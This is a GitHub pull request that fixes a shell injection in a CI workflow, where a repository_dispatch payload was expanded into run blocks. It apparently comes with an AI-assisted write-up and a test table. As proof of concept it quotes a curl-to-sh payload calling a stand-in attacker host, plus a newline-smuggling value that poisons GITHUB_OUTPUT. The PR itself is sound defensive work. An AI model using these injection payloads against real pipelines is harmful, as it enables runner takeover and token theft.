fix(ci): stop shell injection via repository_dispatch payload in sdk-smoke (#206) - #235
fix(ci): stop shell injection via repository_dispatch payload in sdk-smoke (#206)#235dcccrypto wants to merge 1 commit into
Conversation
…smoke (#206) `${{ github.event.client_payload.version }}` and `${{ inputs.sdk_version }}` are expanded by GitHub Actions before the shell parses the line, so the surrounding quotes never contain the injected string. A dispatch payload of 1.0.0"; curl https://attacker/x | sh; echo " executed arbitrary commands on the runner with the job's write-scoped GITHUB_TOKEN. The tainted value flowed on into `pnpm add` and the verify and report steps, giving four injection points in total. Passes all event-controlled data through `env:` instead, so it is never expanded into the script text, and gates it behind a semver allowlist. Hardening beyond the fix proposed in #206: an anchored `grep -E '^...$'` alone is NOT sufficient, because grep is line-oriented. A value of $'1.0.0\ntouch /tmp/pwned' matches the pattern on its first line while smuggling a second line into $GITHUB_OUTPUT, which GitHub parses as an additional step output. Verified this bypass against the issue's suggested regex before hardening. A `case` guard rejecting any character outside the semver alphabet runs first — `case` matches the whole string, newlines included. Verified by extracting the shipped step script straight out of the YAML and running it against each vector (attack cases must exit 1 and write nothing to $GITHUB_OUTPUT): issue PoC / curl|sh RCE exit 1, 0 output lines backtick and $() subshells exit 1, 0 output lines workflow_dispatch input vector exit 1, 0 output lines newline injection + GITHUB_OUTPUT poisoning exit 1, 0 output lines leading/trailing whitespace exit 1, 0 output lines 1.0.0-beta.33 / 2.0.9 / 3.0.0 exit 0, 1 output line no payload -> pinned default exit 0, 1 output line /tmp/pwned was never created. A parser check also confirms no `${{ }}` remains inside any `run:` block in the file. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
|
Warning Review limit reached
Next review available in: 7 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (1)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Fixes #206.
What
.github/workflows/sdk-smoke.ymlinterpolated event-controlled data directly intorun:blocks. GitHub Actions expands${{ }}before the shell parses the line, so the surrounding quotes never contain the injected string:VERSION="${{ github.event.client_payload.version }}"A dispatch payload of
1.0.0"; curl https://attacker/x | sh; echo "executes arbitrary commands on the runner with the job's write-scopedGITHUB_TOKEN. The tainted value flowed onward intopnpm add, the verify step and the report step — four injection points.This is the cross-repo seam the SDK post-publish workflow drives via
gh api .../dispatches, so a compromised SDK pipeline or a leaked PAT pivots straight into this runner.Fix
All event-controlled data now moves through
env:, so it is never expanded into script text, plus a semver allowlist gate.#206 suggests gating with an anchored
grep -qE '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$'. That alone is not sufficient, and I confirmed the bypass before hardening.grepis line-oriented, so:matches the pattern on its first line and passes the gate. The multi-line value then hits:
writing an extra raw line into
$GITHUB_OUTPUT, which GitHub parses as an additional step output — step-output poisoning that survives into every downstream step.Measured against the issue's exact suggested regex:
1.0.0\ntouch /tmp/pwnedHardened by running a
caseguard first, which matches the whole string (newlines included) and rejects any character outside the semver alphabet:How to test
The step script was extracted straight out of the shipped YAML (not retyped) and run against every vector. Attack cases must exit 1 and write nothing to
$GITHUB_OUTPUT:$GITHUB_OUTPUTlines1.0.0"; touch /tmp/pwned; echo "curl | shRCE$( )subshellworkflow_dispatchinputversion=eviloutput poisoning1.0.0-beta.33/2.0.9/3.0.0/tmp/pwnedwas never created. A YAML-parser check also confirms no${{ }}remains inside anyrun:block in the file. Actions stay pinned by full commit SHA.Note: this workflow is also failing nightly for an unrelated reason
SDK publish smokehas failed every night (exit 254) — but at thepnpm install --frozen-lockfilestep, which hits the same missing-sibling-SDK ENOENT as #232. That is not addressed here, deliberately: this PR is a self-contained security fix and I did not want to mix a CI-plumbing change into it. So this workflow will keep failing nightly until #233 lands and the same sibling checkout is applied here. Worth a follow-up — flagging rather than silently bundling.🤖 Generated with Claude Code